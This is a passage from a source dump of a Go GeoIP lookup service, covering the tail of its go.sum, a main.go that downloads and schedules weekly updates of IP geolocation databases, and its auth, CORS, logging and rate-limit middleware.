116 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
117 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
118 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
119 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
120 | github.com/oschwald/maxminddb-golang v1.13.1 h1:G3wwjdN9JmIK2o/ermkHM+98oX5fS+k5MbwsmL4MRQE=
121 | github.com/oschwald/maxminddb-golang v1.13.1/go.mod h1:K4pgV9N/GcK694KSTmVSDTODk4IsCNThNdTmnaBZ/F8=
122 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM=
123 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs=
124 | github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
125 | github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
126 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
127 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
128 | github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8=
129 | github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE=
130 | github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
131 | github.com/samber/lo v1.47.0 h1:z7RynLwP5nbyRscyvcD043DWYoOcYRv3mV8lBeqOCLc=
132 | github.com/samber/lo v1.47.0/go.mod h1:RmDH9Ct32Qy3gduHQuKJ3gW1fMHAnE/fAzQuf6He5cU=
133 | github.com/sony/sonyflake v1.2.0 h1:Pfr3A+ejSg+0SPqpoAmQgEtNDAhc2G1SUYk205qVMLQ=
134 | github.com/sony/sonyflake v1.2.0/go.mod h1:LORtCywH/cq10ZbyfhKrHYgAUGH7mOBa76enV9txy/Y=
135 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
136 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
137 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
138 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
139 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
140 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
141 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
142 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
143 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
144 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
145 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
146 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
147 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
148 | github.com/swaggo/files v1.0.1 h1:J1bVJ4XHZNq0I46UU90611i9/YzdrF7x92oX1ig5IdE=
149 | github.com/swaggo/files v1.0.1/go.mod h1:0qXmMNH6sXNf+73t65aKeB+ApmgxdnkQzVTAj2uaMUg=
150 | github.com/swaggo/gin-swagger v1.6.0 h1:y8sxvQ3E20/RCyrXeFfg60r6H0Z+SwpTjMYsMm+zy8M=
151 | github.com/swaggo/gin-swagger v1.6.0/go.mod h1:BG00cCEy294xtVpyIAHG6+e2Qzj/xKlRdOqDkvq0uzo=
152 | github.com/swaggo/swag v1.8.12 h1:pctzkNPu0AlQP2royqX3apjKCQonAnf7KGoxeO4y64w=
153 | github.com/swaggo/swag v1.8.12/go.mod h1:lNfm6Gg+oAq3zRJQNEMBE66LIJKM44mxFqhEEgy2its=
154 | github.com/swaggo/swag v1.16.4 h1:clWJtd9LStiG3VeijiCfOVODP6VpHtKdQy9ELFG3s1A=
155 | github.com/swaggo/swag v1.16.4/go.mod h1:VBsHJRsDvfYvqoiMKnsdwhNV9LEMHgEDZcyVYX0sxPg=
156 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
157 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
158 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=
159 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
160 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
161 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
162 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc=
163 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
164 | golang.org/x/arch v0.11.0 h1:KXV8WWKCXm6tRpLirl2szsO5j/oOODwZf4hATmGVNs4=
165 | golang.org/x/arch v0.11.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
166 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
167 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
168 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI=
169 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
170 | golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw=
171 | golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U=
172 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
173 | golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
174 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
175 | golang.org/x/mod v0.21.0 h1:vvrHzRwRfVKSiLrG+d4FMl/Qi4ukBCE6kZlTUkDYRT0=
176 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
177 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
178 | golang.org/x/net v0.0.0-20210421230115-4e50805a0758/go.mod h1:72T/g9IO56b78aLF+1Kcs5dz7/ng1VjMUvfKvpfy+jM=
179 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
180 | golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
181 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac=
182 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
183 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4=
184 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU=
185 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
186 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
187 | golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
188 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
189 | golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
190 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
191 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
192 | golang.org/x/sys v0.0.0-20210420072515-93ed5bcd2bfe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
193 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
194 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
195 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
196 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
197 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
198 | golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws=
199 | golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
200 | golang.org/x/sys v0.26.0 h1:KHjCJyddX0LoSTb3J+vWpupP9p0oznkqVk/IfjymZbo=
201 | golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
202 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
203 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
204 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
205 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
206 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
207 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
208 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
209 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
210 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4=
211 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=
212 | golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=
213 | golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
214 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
215 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
216 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
217 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
218 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
219 | golang.org/x/tools v0.26.0 h1:v/60pFQmzmT9ExmjDv2gGIfi3OqfKoEP6I5+umXlbnQ=
220 | golang.org/x/tools v0.26.0/go.mod h1:TPVVj70c7JJ3WCazhD8OdXcZg/og+b9+tH/KxylGwH0=
221 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
222 | google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg=
223 | google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
224 | google.golang.org/protobuf v1.35.1 h1:m3LfL6/Ca+fqnjnlqQXNpFPABW1UD7mjh8KO2mKFytA=
225 | google.golang.org/protobuf v1.35.1/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
226 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
227 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
228 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
229 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
230 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
231 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
232 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
233 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
234 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
235 | gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
236 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
237 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
238 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50=
239 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
240 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "net/http"
7 | "os"
8 | "strconv"
9 | "time"
10 |
11 | "github.com/gin-contrib/sessions"
12 | "github.com/gin-contrib/sessions/cookie"
13 | "github.com/gin-gonic/gin"
14 | "github.com/oschwald/maxminddb-golang"
15 | "go-geoip/common"
16 | "go-geoip/common/config"
17 | logger "go-geoip/common/loggger"
18 | "go-geoip/middleware"
19 | "go-geoip/router"
20 | )
21 |
22 | const (
23 | cityDBDefaultURL = "https://github.com/P3TERX/GeoLite.mmdb/raw/download/GeoLite2-City.mmdb"
24 | asnDBURL = "https://github.com/P3TERX/GeoLite.mmdb/raw/download/GeoLite2-ASN.mmdb"
25 | cnDBURL = "http://github.com/ljxi/GeoCN/releases/download/Latest/GeoCN.mmdb"
26 | sessionName = "session"
27 | )
28 |
29 | func main() {
30 | logger.SetupLogger()
31 | logger.SysLog(fmt.Sprintf("go-geoip %s started", common.Version))
32 |
33 | setGinMode()
34 | logDebugMode()
35 |
36 | server := setupServer()
37 |
38 | go scheduleDatabaseUpdate()
39 |
40 | runServer(server)
41 | }
42 |
43 | func setGinMode() {
44 | if os.Getenv("GIN_MODE") != "debug" {
45 | gin.SetMode(gin.ReleaseMode)
46 | }
47 | }
48 |
49 | func logDebugMode() {
50 | if config.DebugEnabled {
51 | logger.SysLog("running in debug mode")
52 | }
53 | }
54 |
55 | func setupServer() *gin.Engine {
56 | server := gin.New()
57 | server.Use(gin.Recovery(), middleware.RequestId())
58 | middleware.SetUpLogger(server)
59 |
60 | store := cookie.NewStore([]byte(config.SessionSecret))
61 | server.Use(sessions.Sessions(sessionName, store))
62 |
63 | router.SetRouter(server)
64 | return server
65 | }
66 |
67 | func runServer(server *gin.Engine) {
68 | port := getPort()
69 | if err := server.Run(":" + port); err != nil {
70 | logger.FatalLog("failed to start HTTP server: %v", err)
71 | }
72 | }
73 |
74 | func getPort() string {
75 | if port := os.Getenv("PORT"); port != "" {
76 | return port
77 | }
78 | return strconv.Itoa(*common.Port)
79 | }
80 |
81 | func loadDatabases() {
82 | downloadAndSave("GeoIP-City.mmdb", getCityDBURL())
83 | downloadAndSave("Geo-ASN.mmdb", asnDBURL)
84 | downloadAndSave("GeoCN.mmdb", cnDBURL)
85 |
86 | openDatabases()
87 | }
88 |
89 | func getCityDBURL() string {
90 | if config.CityDBRemoteUrl != "" {
91 | return config.CityDBRemoteUrl
92 | }
93 | return cityDBDefaultURL
94 | }
95 |
96 | func downloadAndSave(filename, url string) {
97 | logger.SysLog(fmt.Sprintf("Downloading %s...", filename))
98 | resp, err := http.Get(url)
99 | if err != nil {
100 | logger.FatalLog("Failed to download %s: %v", filename, err)
101 | }
102 | defer resp.Body.Close()
103 |
104 | out, err := os.Create(filename)
105 | if err != nil {
106 | logger.FatalLog("Failed to create file %s: %v", filename, err)
107 | }
108 | defer out.Close()
109 |
110 | if _, err := io.Copy(out, resp.Body); err != nil {
111 | logger.FatalLog("Failed to save file %s: %v", filename, err)
112 | }
113 | logger.SysLog(fmt.Sprintf("Downloaded and saved %s successfully", filename))
114 | }
115 |
116 | func openDatabases() {
117 | var err error
118 | common.Mu.Lock()
119 | defer common.Mu.Unlock()
120 |
121 | common.CityReader, err = maxminddb.Open("GeoIP-City.mmdb")
122 | if err != nil {
123 | logger.FatalLog("Error opening city database: %v", err)
124 | }
125 |
126 | common.AsnReader, err = maxminddb.Open("Geo-ASN.mmdb")
127 | if err != nil {
128 | logger.FatalLog("Error opening ASN database: %v", err)
129 | }
130 |
131 | common.CnReader, err = maxminddb.Open("GeoCN.mmdb")
132 | if err != nil {
133 | logger.FatalLog("Error opening CN database: %v", err)
134 | }
135 | }
136 |
137 | func scheduleDatabaseUpdate() {
138 | loadDatabases()
139 |
140 | for {
141 | nextUpdateTime := getNextSundayLastSecond()
142 | durationUntilUpdate := time.Until(nextUpdateTime)
143 | logger.SysLog(fmt.Sprintf("Next database update scheduled at %s, which is in %v.", nextUpdateTime, durationUntilUpdate))
144 |
145 | timer := time.NewTimer(durationUntilUpdate)
146 | <-timer.C
147 |
148 | logger.SysLog("Updating databases...")
149 | loadDatabases()
150 | }
151 | }
152 |
153 | func getNextSundayLastSecond() time.Time {
154 | now := time.Now()
155 | daysUntilSunday := (7 - int(now.Weekday())) % 7
156 | if daysUntilSunday == 0 && now.Hour() >= 0 {
157 | daysUntilSunday = 7
158 | }
159 | return time.Date(now.Year(), now.Month(), now.Day(), 23, 59, 59, 0, now.Location()).Add(time.Duration(daysUntilSunday) * 24 * time.Hour)
160 | }
161 |
--------------------------------------------------------------------------------
/middleware/auth.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | "github.com/samber/lo"
6 | "go-geoip/common"
7 | "go-geoip/common/config"
8 | "net/http"
9 | "strings"
10 | )
11 |
12 | func isValidSecret(secret string) bool {
13 | return config.ApiSecret != "" && !lo.Contains(config.ApiSecrets, secret)
14 | }
15 |
16 | func authHelper(c *gin.Context) {
17 | secret := c.Request.Header.Get("Authorization")
18 | secret = strings.Replace(secret, "Bearer ", "", 1)
19 | if isValidSecret(secret) {
20 | common.SendResponse(c, http.StatusUnauthorized, 1, "auth fail", nil)
21 | c.Abort()
22 | return
23 | }
24 |
25 | if config.ApiSecret == "" {
26 | c.Request.Header.Set("Authorization", "")
27 | }
28 |
29 | c.Next()
30 | return
31 | }
32 |
33 | func Auth() func(c *gin.Context) {
34 | return func(c *gin.Context) {
35 | authHelper(c)
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/middleware/cors.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "github.com/gin-contrib/cors"
5 | "github.com/gin-gonic/gin"
6 | )
7 |
8 | func CORS() gin.HandlerFunc {
9 | config := cors.DefaultConfig()
10 | config.AllowAllOrigins = true
11 | config.AllowCredentials = true
12 | config.AllowMethods = []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}
13 | config.AllowHeaders = []string{"*"}
14 | return cors.New(config)
15 | }
16 |
--------------------------------------------------------------------------------
/middleware/logger.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "fmt"
5 | "github.com/gin-gonic/gin"
6 | "go-geoip/common/helper"
7 | )
8 |
9 | func SetUpLogger(server *gin.Engine) {
10 | server.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
11 | var requestID string
12 | if param.Keys != nil {
13 | requestID = param.Keys[helper.RequestIdKey].(string)
14 | }
15 | return fmt.Sprintf("[GIN] %s | %s | %3d | %13v | %15s | %7s %s\n",
16 | param.TimeStamp.Format("2006/01/02 - 15:04:05"),
17 | requestID,
18 | param.StatusCode,
19 | param.Latency,
20 | param.ClientIP,
21 | param.Method,
22 | param.Path,
23 | )
24 | }))
25 | }
26 |
--------------------------------------------------------------------------------
/middleware/rate-limit.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | "go-geoip/common"
6 | "go-geoip/common/config"
7 | "net/http"
8 | )
9 |
10 | var timeFormat = "2006-01-02T15:04:05.000Z"
11 |
12 | var inMemoryRateLimiter common.InMemoryRateLimiter
13 |
14 | func memoryRateLimiter(c *gin.Context, maxRequestNum int, duration int64, mark string) {
15 | key := mark + c.ClientIP()
16 | if !inMemoryRateLimiter.Request(key, maxRequestNum, duration) {
17 | c.JSON(http.StatusTooManyRequests, gin.H{
18 | "success": false,
19 | "message": "请求过于频繁,请稍后再试",
20 | })
21 | c.Abort()
22 | return
23 | }
24 | }
25 |
26 | func rateLimitFactory(maxRequestNum int, duration int64, mark string) func(c *gin.Context) {
27 | // It's safe to call multi times.
28 | inMemoryRateLimiter.Init(config.RateLimitKeyExpirationDuration)
29 | return func(c *gin.Context) {
30 | memoryRateLimiter(c, maxRequestNum, duration, mark)
31 | }
32 | }
33 |
34 | func RequestRateLimit() func(c *gin.Context) {
35 | return rateLimitFactory(config.RequestRateLimitNum, config.RequestRateLimitDuration, "REQUEST_RATE_LIMIT")
36 | }
37 |
--------------------------------------------------------------------------------
/middleware/request-id.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "context"
5 | "github.com/gin-gonic/gin"
6 | "go-geoip/common/helper"
7 | )
8 |
9 | func RequestId() func(c *gin.Context) {
10 | return func(c *gin.Context) {
11 | id := helper.GenRequestID()
12 | c.Set(helper.RequestIdKey, id)
13 | ctx := context.WithValue(c.Request.Context(), helper.RequestIdKey, id)
14 | c.Request = c.Request.WithContext(ctx)
15 | c.Header(helper.RequestIdKey, id)
16 | c.Next()
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/model/main.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | // ASN represents the ASN database structure.
4 | type ASN struct {
5 | Number uint `maxminddb:"autonomous_system_number"`
6 | Organization string `maxminddb:"autonomous_system_organization"`
7 | }
8 |
9 | // Location represents the geographical location with latitude and longitude.
10 | type Location struct {
11 | Latitude float64 `maxminddb:"latitude"`
12 | Longitude float64 `maxminddb:"longitude"`
13 | }
14 |
15 | // City represents the City database structure.
16 | type City struct {
17 | Country CountryInfo `maxminddb:"country"`
18 | RegisteredCountry CountryInfo `maxminddb:"registered_country"`
19 | Subdivisions []Subdivision `maxminddb:"subdivisions"`
20 | City NameInfo `maxminddb:"city"`
21 | Location Location `maxminddb:"location"` // Add this line
22 | }
23 |
24 | // CountryInfo represents country information in the database.
25 | type CountryInfo struct {
26 | ISOCode string `maxminddb:"iso_code"`
27 | Names map[string]string `maxminddb:"names"`
28 | }
29 |
30 | // Subdivision represents subdivision information in the database.
31 | type Subdivision struct {
32 | Names map[string]string `maxminddb:"names"`
33 | }
34 |
35 | // NameInfo represents name information in the database.
36 | type NameInfo struct {
37 | Names map[string]string `maxminddb:"names"`
38 | }
39 |
40 | // GeoCN represents the GeoCN database structure.
41 | type GeoCN struct {
42 | Province string `maxminddb:"province"`
43 | City string `maxminddb:"city"`
44 | Districts string `maxminddb:"districts"`
45 | ISP string `maxminddb:"isp"`
46 | Net string `maxminddb:"net"`
47 | }
48 |
49 | type IPInfoResponse struct {
50 | Addr string `json:"addr" swaggertype:"string" description:"地址"`
51 | AS string `json:"as" swaggertype:"string" description:"as"`
52 | Country string `json:"country" swaggertype:"string" description:"国家"`
53 | IP string `json:"ip" swaggertype:"string" description:"ip"`
54 | Latitude float64 `json:"latitude" swaggertype:"string" description:"纬度"`
55 | Longitude float64 `json:"longitude" swaggertype:"string" description:"经度"`
56 | Subdivisions []string `json:"subdivisions" swaggertype:"array,string" description:"分区"`
57 | Province string `json:"province" swaggertype:"string" description:"省"`
58 | City string `json:"city" swaggertype:"string" description:"市"`
59 | District string `json:"district" swaggertype:"string" description:"区"`
60 | RegisteredCountry string `json:"registered_country" swaggertype:"string" description:"注册国家"`
61 | }
62 |
--------------------------------------------------------------------------------
/router/api-router.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | swaggerFiles "github.com/swaggo/files"
6 | ginSwagger "github.com/swaggo/gin-swagger"
7 | "go-geoip/common/config"
8 | "go-geoip/controller"
9 | _ "go-geoip/docs"
10 | "go-geoip/middleware"
11 | )
12 |
13 | func SetApiRouter(router *gin.Engine) {
14 |
15 | // 全局 Middlewares
16 | router.Use(middleware.CORS())
17 | router.Use(middleware.RequestRateLimit())
18 |
19 | if config.SwaggerEnable == "" || config.SwaggerEnable == "1" {
